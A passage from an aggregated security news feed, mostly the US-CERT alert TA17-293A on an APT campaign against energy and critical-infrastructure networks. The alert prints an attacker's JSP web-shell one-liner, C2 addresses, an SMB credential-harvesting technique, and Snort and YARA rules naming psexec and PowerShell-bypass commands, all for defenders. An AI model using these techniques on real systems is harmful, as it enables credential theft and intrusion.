  6. IPS is useful in cases where RDP, SSH or FTP traffic has to be inspected before it reaches the box to make sure that the protocol is not tampered or wrapped with another TCP packet etc.

Both the technologies have matured and have many gray areas of working but understand that WAF knows and capture the contents of HTTP traffic to see if there is a SQL injection, XSS or cookie manipulation but the IPS have very little or no understanding of the underlying application, therefore can't do much with the traffic contents. An IPS can't raise an alarm if someone is getting confidential data out, or even sending a harmful parameter to your application - it will let it through if it's a valid HTTP packet.

Now, with the information I just shared, try to have a conversation with your management on how to provide the best layered approach in security. How to make sure the network, and application is resilient to complex attacks and threats lurking at your perimeter, or inside.

Be safe.

Malware spam: "Order acknowledgement for BEPO/N1/380006006(2)"

A change to the usual Necurs rubbish, this fake order has a malformed .z archive file which contains a malicious executable with an icon to make it look like an Office document. Reply-To:    purchase@animalagriculture.orgTo:    Recipients [DY]Date:    24 October 2017 at 06:48Subject:    FW: Order acknowledgement for BEPO/N1/380006006(2)Dear All,Kindly find the attached Purchase order# IT/

IDG Contributor Network: Beyond sandboxes: ‘The Truman Show’ approach to catching hackers

Do you recall the 1998 movie "The Truman Show?" In an existentialist take on reality TV, Truman Burbank lives in an altered, completely manipulated existence as an insurance broker whose every daily act is broadcast to the world as part of a television program – with Truman entirely unaware that this was happening.

When reading about an emerging technology – what some are calling “deception solutions” – I find myself visualizing it as the “'Truman Show' of IT Innovation” – with major implications for how we approach cybersecurity.

Here’s how “deception solutions” work: A hacker breaks into a network environment and starts doing what hackers do, by sniffing around and stealing files. But there’s a catch – the network environment isn’t real. It’s a virtualized replica of a production environment. The new approach enables a targeted enterprise to build a simulated “world” with enough actual, internal files and systems components to lead attackers to believe that it’s the real thing. Based on policy, the enterprise can watch everything the adversary is doing from start to finish, or they can block the traffic immediately at the edge of their network. This allows them to mitigate the threat to their network with no impact to the production environment.

To read this article in full, please click here

Startup Security Weekly #60 – It’s An Exit

Ten sales rules you should break, how to pitch a venture capitalist, guiding employees towards mental health, and updates from Duo Security, Contrast Security, and more on this episode of Startup Security Weekly!Full Show Notes: for all the latest episodes!

How to Minimize Leaking

I am hopeful that President Trump will not block release of the remaining classified documents addressing the 1963 assassination of President John F. Kennedy. I grew up a Roman Catholic in Massachusetts, so President Kennedy always fascinated me.

The 1991 Oliver Stone movie JFK fueled several years of hobbyist research into the assassination. (It's unfortunate the movie was so loaded with fictional content!) On the 30th anniversary of JFK's death in 1993, I led a moment of silence from the balcony of the Air Force Academy chow hall during noon meal. While stationed at Goodfellow AFB in Texas, Mrs B and I visited Dealey Plaza in Dallas and the Sixth Floor Museum.

Many years later, thanks to a 1992 law partially inspired by the Stone movie, the government has a chance to release the last classified assassination records. As a historian and former member of the intelligence community, I hope all of the documents become public. This would be a small but significant step towards minimizing the culture of information leaking in Washington, DC. If prospective leakers were part of a system that was known for releasing classified information prudently, regularly, and efficiently, it would decrease the leakers' motivation to evade the formal declassification process.

Many smart people have recommended improvements to the classification system. Check out this 2012 report for details.

Paul’s Security Weekly #534 – Pizza the Hut

Wendy Nather of Duo Security is our featured interview, Joe Vest and Andrew Chiles of MINIS deliver a tech segment on borrowing Microsoft metadata and digital signatures to “hide” binaries, and in the security news, Microsoft hypocritically mocks Google, hacking child safety smart watches, five steps to building a vulnerability management program, Google Play introduces a bug bounty program, and why is technology outing sex workers?

Full Show Notes:

Visit for all the latest episodes!

TA17-293A: Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors

Original release date: October 20, 2017 | Last revised: March 15, 2018

Systems Affected

  • Domain Controllers
  • File Servers
  • Email Servers


This alert has been superseded by newer information. The old alert is provided below for historical reference only. For the newest version, please see TA18-074A.


This joint Technical Alert (TA) is the result of analytic efforts between the Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI). This alert provides information on advanced persistent threat (APT) actions targeting government entities and organizations in the energy, nuclear, water, aviation, and critical manufacturing sectors. Working with U.S. and international partners, DHS and FBI identified victims in these sectors. This report contains indicators of compromise (IOCs) and technical details on the tactics, techniques, and procedures (TTPs) used by APT actors on compromised victims’ networks.


DHS assesses this activity as a multi-stage intrusion campaign by threat actors targeting low security and small networks to gain access and move laterally to networks of major, high value asset owners within the energy sector. Based on malware analysis and observed IOCs, DHS has confidence that this campaign is still ongoing, and threat actors are actively pursuing their ultimate objectives over a long-term campaign. The intent of this product is to educate network defenders and enable them to identify and reduce exposure to malicious activity.

For a downloadable copy of IOC packages and associated files, see:

Contact DHS or law enforcement immediately to report an intrusion and to request incident response resources or technical assistance.


Since at least May 2017, threat actors have targeted government entities and the energy, water, aviation, nuclear, and critical manufacturing sectors, and, in some cases, have leveraged their capabilities to compromise victims’ networks. Historically, cyber threat actors have targeted the energy sector with various results, ranging from cyber espionage to the ability to disrupt energy systems in the event of a hostile conflict. [1] Historically, threat actors have also targeted other critical infrastructure sectors with similar campaigns.

Analysis by DHS, FBI, and trusted partners has identified distinct indicators and behaviors related to this activity. Of specific note, the report Dragonfly: Western energy sector targeted by sophisticated attack group, released by Symantec on September 6, 2017, provides additional information about this ongoing campaign. [2]

This campaign comprises two distinct categories of victims: staging and intended targets. The initial victims are peripheral organizations such as trusted third party suppliers with less secure networks. The initial victims are referred to as “staging targets” throughout this alert. The threat actor uses the staging targets’ networks as pivot points and malware repositories when targeting their final intended victims. The ultimate objective of the cyber threat actors is to compromise organizational networks, which are referred throughout this alert as “intended target.”

Technical Details

The threat actors in this campaign employed a variety of TTPs, including:

  • open-source reconnaissance,
  • spear-phishing emails (from compromised legitimate accounts),
  • watering-hole domains,
  • host-based exploitation,
  • industrial control system (ICS) infrastructure targeting, and
  • ongoing credential gathering.

Using Cyber Kill Chain for Analysis

DHS leveraged the Cyber Kill Chain model to analyze, discuss, and dissect malicious cyber activity. Phases of the model include reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on the objective. This section will provide a high-level overview of activity within this framework.

Stage 1: Reconnaissance

The threat actors appear to have deliberately chosen the organizations they targeted, rather than pursuing them as targets of opportunity. Staging targets held preexisting relationships with many of the intended targets. It is known that threat actors are actively accessing publicly available information hosted by organization-monitored networks. DHS further assesses that threat actors are seeking to identify information pertaining to network and organizational design, as well as control system capabilities, within organizations.

Forensic analysis identified that threat actors are conducting open-source reconnaissance of their targets, gathering information posted on company-controlled websites. This is a common tactic for collecting the information needed for targeted spear-phishing attempts. In some cases, information posted to company websites, especially information that may appear to be innocuous, may contain operationally sensitive information. As an example, the threat actors downloaded a small photo from a publically accessible human resources page. The image, when expanded, was a high-resolution photo that displayed control systems equipment models and status information in the background.

Analysis also revealed that the threat actors used compromised staging target networks to conduct open-source reconnaissance to identify potential targets of interest and intended targets. “Targets of interest” refers to organizations that DHS observed the threat actors showing an active interest in, but where no compromise was reported. Specifically, the threat actors accessed publically web-based remote access infrastructure such as websites, remote email access portals, and virtual private network (VPN) connections.

Stage 2: Weaponization

Spear-Phishing Email TTPs

Throughout the spear-phishing campaign, threat actors used email attachments to leverage legitimate Microsoft Office functions to retrieve a document from a remote server using the Server Message Block (SMB) protocol. (An example of this request is: file[:]//<remote IP address>/Normal.dotm). As a part of the standard processes executed by Microsoft Word, this request authenticates the client with the server, sending the user’s credential hash to the remote server prior to retrieving the requested file. (Note: It is not necessary for the file to be retrieved for the transfer of credentials to occur.) The threat actors then likely used password-cracking techniques to obtain the plaintext password. Once actors obtain valid credentials, they are able to masquerade as authorized users.

Stage 3: Delivery

When seeking to compromise the target network, threat actors used a spear-phishing email campaign that differed from previously reported TTPs. The spear-phishing email used a generic contract agreement theme, with the subject line “AGREEMENT & Confidential”, and which contained a generic PDF document, titled “’’document.pdf”. (Note the inclusion of two single apostrophes at the beginning of the attachment name.) The PDF itself was not malicious and did not contain any active code. The document prompted the user to click on a link should a download not automatically begin. (Note: No code within the PDF initiated a download.) The link directs users to a website via a shortened URL, which may prompt them to retrieve a malicious file.

In previous reporting, DHS and FBI identified the common themes used in these spear-phishing emails, all emails referred to control systems or process control systems. The threat actors continue to use these themes, specifically against intended target organizations. Email messages include references to common industrial control equipment and protocols. The emails leveraged malicious Microsoft Word attachments that appear to be legitimate résumés or curricula vitae (CVs) for industrial control systems personnel, as well as invitations and policy documents that entice the user to open the attachment. The list of file names has been published in the IOC.

Stage 4: Exploitation

Threat actors used distinct and unusual TTPs (i.e., successive redirects) in the phishing campaign directed at staging targets. Emails contained a stacked URL-shortening link that directed the user to http://bit[.]ly/2m0x8IH link, which redirected the user to http://tinyurl[.]com/h3sdqck link, which redirected the user to the ultimate destination of http://imageliners[.]com/nitel. The imageliner[.]com website contained an email address and password input fields mimicking a login page for a website.

When exploiting the intended targets, threat actors used malicious .docx files to capture user credentials, however, DHS did not observe the actors establishing persistence on the user’s system. The documents attempt to retrieve a file through a “file:\\” connection over SMB using Transmission Control Protocol (TCP) ports 445 or 139 and User Datagram Protocol (UDP) ports 137 or 138. This connection is made to a command and control (C2) server — either a server owned by the threat actors or that of a compromised system owned by a staging location victim. When a user is authenticated as a domain user, this will provide the C2 server with the hash of the victim. Local users will receive a graphical user interface (GUI) prompt to enter a username and password. This information will be provided to the C2 over TCP ports 445 or 139 and UDP ports 137 or 138. (Note: A file transfer is not necessary for a loss of credential information.) Symantec’s report associates this behavior to the Dragonfly threat actors in this campaign. [3]

Use of Watering Hole Domains

One of the threat actors’ primary uses for staging targets is to develop watering holes. The threat actors compromise the infrastructure of trusted organizations to reach intended targets. [4] Although these watering holes may host legitimate content by reputable organizations, the threat actors have altered them to contain and reference malicious content. Approximately half of the known watering holes are trade publications and informational websites related to process control, ICS, or critical infrastructure.

Using a similar SMB collection technique, the actors manipulated these websites by altering JavaScript and PHP files that redirect to an IP address on port 445 for credential harvesting. The compromised sites include both custom developed web applications and template-based frameworks. The threat actors injected a line of code into header.php, a legitimate PHP file that carried out the redirected traffic.

There is no indication that threat actors used zero-day exploits to manipulate the sites; the threat actors more likely used legitimate credentials to access the website content directly.

Stage 5: Installation

The threat actors leveraged compromised credentials to access victims’ networks where multi-factor authentication is not used. [5] Once inside of an intended target’s network, the threat actors downloaded tools from a remote server. The initial versions of the file names contained .txt extensions and were renamed to the appropriate extension, typically .exe or .zip.

In one example, after gaining remote access to the network of an intended victim, the threat actor carried out the following actions:

  • The threat actor connected to 91.183.104[.]150 and downloaded multiple files, specifically the file INST.txt.
  • The files were renamed to new extensions, with INST.txt being renamed INST.exe.
  • The files were executed on the host and then immediately deleted.
  • The execution of INST.exe triggered a download of ntdll.exe, and shortly after, ntdll.exe appeared in the running process list of a compromised system of an intended target.

In their report on Dragonfly, Symantec associated the MD5 hash of INST.exe to Backdoor.Goodor. The MD5 hashes for the previously mentioned files can be found in the IOC list above.

Several of these files were scripts that were used for creating the initial account leveraged by the threat actors. The initial script symantec_help.jsp contained a one-line reference to a malicious script. It was located at C:\Program Files (x86)\Symantec\Symantec Endpoint Protection Manager\tomcat\webapps\ROOT\.

Contents of symantec_help.jsp


<% Runtime.getRuntime().exec("cmd /C \"" + System.getProperty("user.dir") + "\\..\\webapps\\ROOT\\<REDACTED SCRIPT NAME>\""); %>


The malicious script created a user account, disabled the host-based firewall, and globally opened port 3389 for Remote Desktop Protocol (RDP) access. The script then attempted to add the newly created account to the administrators group for elevated privileges. This script contained hard-coded values for the group name “administrator” in Spanish, Italian, German, French, and English.

In addition, the threat actors also created a scheduled task “reset”, which was designed to automatically log out of their newly created account every eight hours.

Contents of Scheduled Task


<?xml version="1.0" encoding="UTF-16"?>

<Task version="1.2" xmlns="">












  <Principal id="Author">

























 <Actions Context="Author">







After achieving access to staging targets, the threat actors installed tools to carry out their mission. On one occasion, threat actors installed the free version of Forticlient, which was presumably used as a VPN client for intended targets.

Consistent with the perceived goal of credential harvesting, the threat actor was observed dropping and executing open source and free tools such as Hydra, SecretsDump, and CrackMapExec. The naming convention and download locations suggest that these files were downloaded directly from publically available locations such as GitHub. Forensic analysis indicates that many of these tools were executed during the timeframe in which the threat actor was accessing the system. Of note, the threat actor installed Python 2.7 on a compromised host of one staging victim, and a Python script was seen at C:\Users\<Redacted Username>\Desktop\OWAExchange\. In the previous folder structure, a subfolder named “out” held multiple text files.

Persistence Through .LNK File Manipulation

The threat actors manipulated .lnk files to repeatedly gather user credentials. Default Windows functionality enables icons to be loaded from a local Windows repository. The threat actors exploited this built-in Windows functionality by setting the icon path to their remote controlled server. When the user browses to the directory, Windows attempts to load the icon and initiate an SMB authentication session. During this process, the active user’s credentials are passed through the attempted SMB connection. The threat actors used this tactic in both Virtual Desktop Infrastructure (VDI) and traditional environments.

Parsed output for file: SETROUTE.lnk

















Three of the observed .lnk files were SETROUTE.lnk, notepad.exe.lnk, and Document.lnk. These names appear to be contextual, and threat actors may use a variety of other file names within this tactic. Two of the remote servers observed in these .lnk files were 62.8.193[.]206 and 5.153.58[.]45.

Establishing Local Accounts

The threat actors created accounts on the staging target for ongoing operations. These accounts, masquerading as legitimate service accounts, appeared to be tailored to each individual staging target. Each account created by the threat actors served a specific purpose in their operation. DHS and FBI identified the creation of four local accounts on a compromised server. The server operated as both a domain controller and an email server for a staging target.

Account 1: The threat actors created a local account, which was named to mimic backup services of the staging target. This account was created by the aforementioned malicious script. The threat actors used this account to conduct open-source reconnaissance and remotely access intended targets. This account was also used to remove the Forticlient software.

Account 2: Account 1 was used to create Account 2 to impersonate an email administration account. The only observed action was to create Account 3.

Account 3: The threat actors created Account 3 in the staging victim’s Microsoft Exchange Server. A PowerShell script created this account during an RDP session while the threat actor was authenticated as Account 2. The naming conventions of the created Microsoft Exchange account followed that of the staging target (e.g., first initial concatenated with the last name).

Account 4: In the latter stage of the compromise, the threat actor used Account 1 to create Account 4, a local administrator account. Account 4 was then used to delete the following logs: system, security, terminal services, remote services, and audit. Registry analysis indicated that this activity was likely scripted.

Stage 6: Command and Control

The threat actors commonly use web shells to compromise publically available servers to gain a foothold into internal networks. This activity has been observed on both web and email servers. The threat actors then establish an encrypted connection over port 443 to the web shell. Once connected, the threat actors download additional malicious files from the threat actors’ servers to the publically available server. Two of the web shells (AutoDiscover.aspx and global.aspx) used by the actors are detailed in the accompanying IOC list. Despite having different file names, the MD5 hashes of the two web shells indicated that the two files were the same file. These web shells have been associated with the ciklon_z webshell.

DHS and FBI identified the threat actors leveraging remote access services and infrastructure, such as VPN, RDP, and Outlook Web Access (OWA). The threat actors used staging targets to connect to several intended targets, effectively turning the staging targets into command and control points. To date, it is presumed that the threat actors have targeted services that use single-factor authentication. DHS believes that the threat actors employ this methodology to avoid detection and attribution.

Targeting of ICS and SCADA Infrastructure

Upon gaining access to intended victims, the threat actors conducted reconnaissance operations within the network. Specifically, the threat actors focused on identifying and browsing file servers within the intended victim’s network. The threat actors viewed files pertaining to ICS or Supervisory Control and Data Acquisition (SCADA) systems. Based on DHS analysis of existing compromises, these files were originally named containing ICS vendor names and ICS reference documents pertaining to the organization (e.g., “SCADA WIRING DIAGRAM.pdf” or “SCADA PANEL LAYOUTS.xlsx”).

In one instance, the threat actors accessed workstations and servers on a corporate network that contained data output from control systems within energy generation facilities. In this same incident, the threat actors created a malicious scheduled task that invoked “scr.exe” with the arguments “scr.jpg”. The MD5 hash of scr.exe matched the MD5 of ScreenUtil, a tool used by the threat actor, as reported in the Symantec Dragonfly 2.0 report.

Detection and Response

IOCs related to this campaign are provided within the accompanying .csv and .stix files of this alert. DHS and FBI recommend that network administrators review the IP addresses, domain names, file hashes, network signatures, and YARA rules provided and add the IPs to their watchlist to determine whether malicious activity has been observed within their organization. System owners are also advised to run the YARA tool on any system suspected to have been targeted by these APT actors.

Network Signatures and Host-Based Rules

This section contains network signatures and host-based rules that can be used to detect malicious activity associated with threat actors TTPs. Although these network signatures and host-based rules were created using a comprehensive vetting process, the possibility of false positives always remains.

Network Signatures

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI contains '/aspnet_client/system_web/4_0_30319/update/' (Beacon)"; sid:42000000; rev:1; flow:established,to_server; content:"/aspnet_client/system_web/4_0_30319/update/"; http_uri; fast_pattern:only; classtype:bad-unknown; metadata:service http;)


alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI contains '/img/bson021.dat'"; sid:42000001; rev:1; flow:established,to_server; content:"/img/bson021.dat"; http_uri; fast_pattern:only; classtype:bad-unknown; metadata:service http;)


alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI contains '/A56WY' (Callback)"; sid:42000002; rev:1; flow:established,to_server; content:"/A56WY"; http_uri; fast_pattern; classtype:bad-unknown; metadata:service http;)


alert tcp any any -> any 445 (msg:"SMB Client Request contains 'AME_ICON.PNG' (SMB credential harvesting)"; sid:42000003; rev:1; flow:established,to_server; content:"|FF|SMB|75 00 00 00 00|"; offset:4; depth:9; content:"|08 00 01 00|"; distance:3; content:"|00 5c 5c|"; distance:2; within:3; content:"|5c|AME_ICON.PNG"; distance:7; fast_pattern; classtype:bad-unknown; metadata:service netbios-ssn;)


alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI OPTIONS contains '/ame_icon.png' (SMB credential harvesting)"; sid:42000004; rev:1; flow:established,to_server; content:"/ame_icon.png"; http_uri; fast_pattern:only; content:"OPTIONS"; nocase; http_method; classtype:bad-unknown; metadata:service http;)


alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP Client Header contains 'User-Agent|3a 20|Go-http-client/1.1'"; sid:42000005; rev:1; flow:established,to_server; content:"User-Agent|3a 20|Go-http-client/1.1|0d 0a|Accept-Encoding|3a 20|gzip"; http_header; fast_pattern:only; pcre:"/\.(?:aspx|txt)\?[a-z0-9]{3}=[a-z0-9]{32}&/U"; classtype:bad-unknown; metadata:service http;)


alert tcp $EXTERNAL_NET [139,445] -> $HOME_NET any (msg:"SMB Server Traffic contains NTLM-Authenticated SMBv1 Session"; sid:42000006; rev:1; flow:established,to_client; content:"|ff 53 4d 42 72 00 00 00 00 80|"; fast_pattern:only; content:"|05 00|"; distance:23; classtype:bad-unknown; metadata:service netbios-ssn;)

YARA Rules

This is a consolidated rule set for malware associated with, consisting of rules written by US-CERT, as well as contributions by trusted partners.



rule APT_malware_1



      description = "inveigh pen testing tools & related artifacts"

      author = "US-CERT Code Analysis Team"    

      date = "2017/07/17"

      hash0 = "61C909D2F625223DB2FB858BBDF42A76"

      hash1 = "A07AA521E7CAFB360294E56969EDA5D6"

      hash2 = "BA756DD64C1147515BA2298B6A760260"

      hash3 = "8943E71A8C73B5E343AA9D2E19002373"

      hash4 = "04738CA02F59A5CD394998A99FCD9613"

      hash5 = "038A97B4E2F37F34B255F0643E49FC9D"

      hash6 = "65A1A73253F04354886F375B59550B46"

      hash7 = "AA905A3508D9309A93AD5C0EC26EBC9B"

      hash8 = "5DBEF7BDDAF50624E840CCBCE2816594"

      hash9 = "722154A36F32BA10E98020A8AD758A7A"

      hash10 = "4595DBE00A538DF127E0079294C87DA0"


      $s0 = "file://"

      $s1 = "/ame_icon.png"

      $s2 = ""

      $s3 = { 87D081F60C67F5086A003315D49A4000F7D6E8EB12000081F7F01BDD21F7DE }

      $s4 = { 33C42BCB333DC0AD400043C1C61A33C3F7DE33F042C705B5AC400026AF2102 }

      $s5 = "(g.charCodeAt(c)^l[(l[b]+l[e])%256])"

      $s6 = "for(b=0;256>b;b++)k[b]=b;for(b=0;256>b;b++)"

      $s7 = "VXNESWJfSjY3grKEkEkRuZeSvkE="

      $s8 = "NlZzSZk="

      $s9 = "WlJTb1q5kaxqZaRnser3sw=="

      $s10 = "for(b=0;256>b;b++)k[b]=b;for(b=0;256>b;b++)"

      $s11 = "fromCharCode(d.charCodeAt(e)^k[(k[b]+k[h])%256])"

      $s12 = "ps.exe -accepteula \\%ws% -u %user% -p %pass% -s cmd /c netstat"

      $s13 = { 22546F6B656E733D312064656C696D733D5C5C222025254920494E20286C6973742E74787429 }

      $s14 = { 68656C6C2E657865202D6E6F65786974202D657865637574696F6E706F6C69637920627970617373202D636F6D6D616E6420222E202E5C496E76656967682E70 }

      $s15 = { 476F206275696C642049443A202266626433373937623163313465306531 }



//inveigh pentesting tools


      $s16 = { 24696E76656967682E7374617475735F71756575652E4164642822507265737320616E79206B657920746F2073746F70207265616C2074696D65 }


//specific malicious word document PK archive


      $s17 = { 2F73657474696E67732E786D6CB456616FDB3613FEFE02EF7F10F4798E64C54D06A14ED125F19A225E87C9FD0194485B }

      $s18 = { 6C732F73657474696E67732E786D6C2E72656C7355540500010076A41275780B0001040000000004000000008D90B94E03311086EBF014D6F4D87B48214471D2 }

      $s19 = { 8D90B94E03311086EBF014D6F4D87B48214471D210A41450A0E50146EBD943F8923D41C9DBE3A54A240ACA394A240ACA39 }

      $s20 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }

      $s21 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }

      $s22 = ""

      $s23 = ""

      $s24 = "/1/ree_stat/p"

      $s25 = "/icon.png"

      $s26 = "/pshare1/icon"

      $s27 = "/notepad.png"

      $s28 = "/pic.png"

      $s29 = ""



      ($s0 and $s1 or $s2) or ($s3 or $s4) or ($s5 and $s6 or $s7 and $s8 and $s9) or ($s10 and $s11) or ($s12 and $s13) or ($s14) or ($s15) or ($s16) or ($s17) or ($s18) or ($s19) or ($s20) or ($s21) or ($s0 and $s22 or $s24) or ($s0 and $s22 or $s25) or ($s0 and $s23 or $s26) or ($s0 and $s22 or $s27) or ($s0 and $s23 or $s28) or ($s29)



rule APT_malware_2



      description = "rule detects malware"

      author = "other"


      $api_hash = { 8A 08 84 C9 74 0D 80 C9 60 01 CB C1 E3 01 03 45 10 EB ED }

      $http_push = "X-mode: push" nocase

      $http_pop = "X-mode: pop" nocase


      any of them



rule Query_XML_Code_MAL_DOC_PT_2



            name= "Query_XML_Code_MAL_DOC_PT_2"

            author = "other"


            $zip_magic = { 50 4b 03 04 }

            $dir1 = "word/_rels/settings.xml.rels"

            $bytes = {8c 90 cd 4e eb 30 10 85 d7}


            $zip_magic at 0 and $dir1 and $bytes



rule Query_Javascript_Decode_Function



      name= "Query_Javascript_Decode_Function"

      author = "other"


      $decode1 = {72 65 70 6C 61 63 65 28 2F 5B 5E 41 2D 5A 61 2D 7A 30 2D 39 5C 2B 5C 2F 5C 3D 5D 2F 67 2C 22 22 29 3B}

      $decode2 = {22 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59 5A 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 77 78 79 7A 30 31 32 33 34 35 36 37 38 39 2B 2F 3D 22 2E 69 6E 64 65 78 4F 66 28 ?? 2E 63 68 61 72 41 74 28 ?? 2B 2B 29 29}

      $decode3 = {3D ?? 3C 3C 32 7C ?? 3E 3E 34 2C ?? 3D 28 ?? 26 31 35 29 3C 3C 34 7C ?? 3E 3E 32 2C ?? 3D 28 ?? 26 33 29 3C 3C 36 7C ?? 2C ?? 2B 3D [1-2] 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29 2C 36 34 21 3D ?? 26 26 28 ?? 2B 3D 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29}

      $decode4 = {73 75 62 73 74 72 69 6E 67 28 34 2C ?? 2E 6C 65 6E 67 74 68 29}



      filesize < 20KB and #func_call > 20 and all of ($decode*)



rule Query_XML_Code_MAL_DOC



      name= "Query_XML_Code_MAL_DOC"

      author = "other"


      $zip_magic = { 50 4b 03 04 }

      $dir = "word/_rels/" ascii

      $dir2 = "word/theme/theme1.xml" ascii

      $style = "word/styles.xml" ascii


      $zip_magic at 0 and $dir at 0x0145 and $dir2 at 0x02b7 and $style at 0x08fd



This APT actor’s campaign has affected multiple organizations in the energy, nuclear, water, aviation, construction, and critical manufacturing sectors.


DHS and FBI encourage network users and administrators to use the following detection and prevention guidelines to help defend against this activity.

Network and Host-based Signatures

DHS and FBI recommend that network administrators review the IP addresses, domain names, file hashes, and YARA and Snort signatures provided and add the IPs to their watch list to determine whether malicious activity is occurring within their organization. Reviewing network perimeter netflow will help determine whether a network has experienced suspicious activity. Network defenders and malware analysts should use the YARA and Snort signatures provided in the associated YARA and .txt file to identify malicious activity.

Detections and Prevention Measures

  • Users and administrators can detect spear phishing, watering hole, web shell, and remote access activity by comparing all IP addresses and domain names listed in the IOC packages to the following locations:
    • network intrusion detection system/network intrusion protection system  logs,
    • web content logs,
    • proxy server logs,
    • domain name server resolution logs,
    • packet capture (PCAP) repositories,
    • firewall logs,
    • workstation Internet browsing history logs,
    • host-based intrusion detection system /host-based intrusion prevention system (HIPS) logs,
    • data loss prevention logs,
    • exchange server logs,
    • user mailboxes,
    • mail filter logs,
    • mail content logs,
    • AV mail logs,
    • OWA logs,
    • Blackberry Enterprise Server logs, and
    • Mobile Device Management logs.
  • To detect the presence of web shells on external-facing servers, compare IP addresses, filenames, and file hashes listed in the IOC packages with the following locations:
    • application logs,
    • IIS/Apache logs,
    • file system,
    • intrusion detection system/ intrusion prevention system logs,
    • PCAP repositories,
    • firewall logs, and
    • reverse proxy.
  • Detect spear-phishing by searching workstation file systems, as well as network-based user directories, for attachment filenames and hashes found in the IOC packages.
  • Detect persistence in VDI environments by searching file shares containing user profiles for all .lnk files.
  • Detect evasion techniques by the threat actors by identifying deleted logs. This can be done by reviewing last-seen entries and by searching for event 104 on Windows system logs.
  • Detect persistence by reviewing all administrator accounts on systems to identify unauthorized accounts, especially those created recently.
  • Detect the malicious use of legitimate credentials by reviewing the access times of remotely accessible systems for all users. Any unusual login times should be reviewed by the account owners.
  • Detect the malicious use of legitimate credentials by validating all remote desktop and VPN sessions of any user’s credentials suspected to be compromised.
  • Detect spear-phishing by searching OWA logs for all IP addresses listed in the IOC packages.
  • Detect spear-phishing through a network by validating all new email accounts created on mail servers, especially those with external user access.
  • Detect persistence on servers by searching system logs for all filenames listed in the IOC packages.
  • Detect lateral movement and privilege escalation by searching PowerShell logs for all filenames ending in “.ps1” contained in the IOC packages. (Note: requires PowerShell version 5, and PowerShell logging must be enabled prior to the activity.)
  • Detect persistence by reviewing all installed applications on critical systems for unauthorized applications, specifically note FortiClient VPN and Python 2.7.
  • Detect persistence by searching for the value of “REG_DWORD 100” at registry location “HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal”. Services\MaxInstanceCount” and the value of “REG_DWORD 1” at location “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\dontdisplaylastusername”.
  • Detect installation by searching all proxy logs for downloads from URIs without domain names.

General Best Practices Applicable to this Campaign:

  • Prevent external communication of all versions of SMB and related protocols at the network boundary by blocking TCP ports 139 and 445 with related UDP port 137. See the NCCIC/US-CERT publication on SMB Security Best Practices for more information.
  • Block the Web-based Distributed Authoring and Versioning (WebDAV) protocol on border gateway devices on the network.
  • Monitor VPN logs for abnormal activity (e.g., off-hour logins, unauthorized IP address logins, and multiple concurrent logins).
  • Deploy web and email filters on the network. Configure these devices to scan for known bad domain names, sources, and addresses; block these before receiving and downloading messages. This action will help to reduce the attack surface at the network’s first level of defense. Scan all emails, attachments, and downloads (both on the host and at the mail gateway) with a reputable anti-virus solution that includes cloud reputation services.
  • Segment any critical networks or control systems from business systems and networks according to industry best practices.
  • Ensure adequate logging and visibility on ingress and egress points.
  • Ensure the use of PowerShell version 5, with enhanced logging enabled. Older versions of PowerShell do not provide adequate logging of the PowerShell commands an attacker may have executed. Enable PowerShell module logging, script block logging, and transcription. Send the associated logs to a centralized log repository for monitoring and analysis. See the FireEye blog post Greater Visibility through PowerShell Logging for more information.
  • Implement the prevention, detection, and mitigation strategies outlined in the NCCIC/US-CERT Alert TA15-314A – Compromised Web Servers and Web Shells – Threat Awareness and Guidance.
  • Establish a training mechanism to inform end users on proper email and web usage, highlighting current information and analysis, and including common indicators of phishing. End users should have clear instructions on how to report unusual or suspicious emails.
  • Implement application directory whitelisting. System administrators may implement application or application directory whitelisting through Microsoft Software Restriction Policy, AppLocker, or similar software. Safe defaults allow applications to run from PROGRAMFILES, PROGRAMFILES(X86), SYSTEM32, and any ICS software folders. All other locations should be disallowed unless an exception is granted.
  • Block RDP connections originating from untrusted external addresses unless an exception exists; routinely review exceptions on a regular basis for validity.
  • Store system logs of mission critical systems for at least one year within a security information event management tool.
  • Ensure applications are configured to log the proper level of detail for an incident response investigation.
  • Consider implementing HIPS or other controls to prevent unauthorized code execution.
  • Establish least-privilege controls.
  • Reduce the number of Active Directory domain and enterprise administrator accounts.
  • Based on the suspected level of compromise, reset all user, administrator, and service account credentials across all local and domain systems.
  • Establish a password policy to require complex passwords for all users.
  • Ensure that accounts for network administration do not have external connectivity.
  • Ensure that network administrators use non-privileged accounts for email and Internet access.
  • Use two-factor authentication for all authentication, with special emphasis on any external-facing interfaces and high-risk environments (e.g., remote access, privileged access, and access to sensitive data).
  • Implement a process for logging and auditing activities conducted by privileged accounts.
  • Enable logging and alerting on privilege escalations and role changes.
  • Periodically conduct searches of publically available information to ensure no sensitive information has been disclosed. Review photographs and documents for sensitive data that may have inadvertently been included.
  • Assign sufficient personnel to review logs, including records of alerts.
  • Complete independent security (as opposed to compliance) risk review.
  • Create and participate in information sharing programs.
  • Create and maintain network and system documentation to aid in timely incident response. Documentation should include network diagrams, asset owners, type of asset, and an incident response plan.

Report Notice

DHS encourages recipients who identify the use of tools or techniques discussed in this document to report information to DHS or law enforcement immediately. To request incident response resources or technical assistance, contact NCCIC at or 888-282-0870.


Revision History

  • October 20, 2017: Initial version
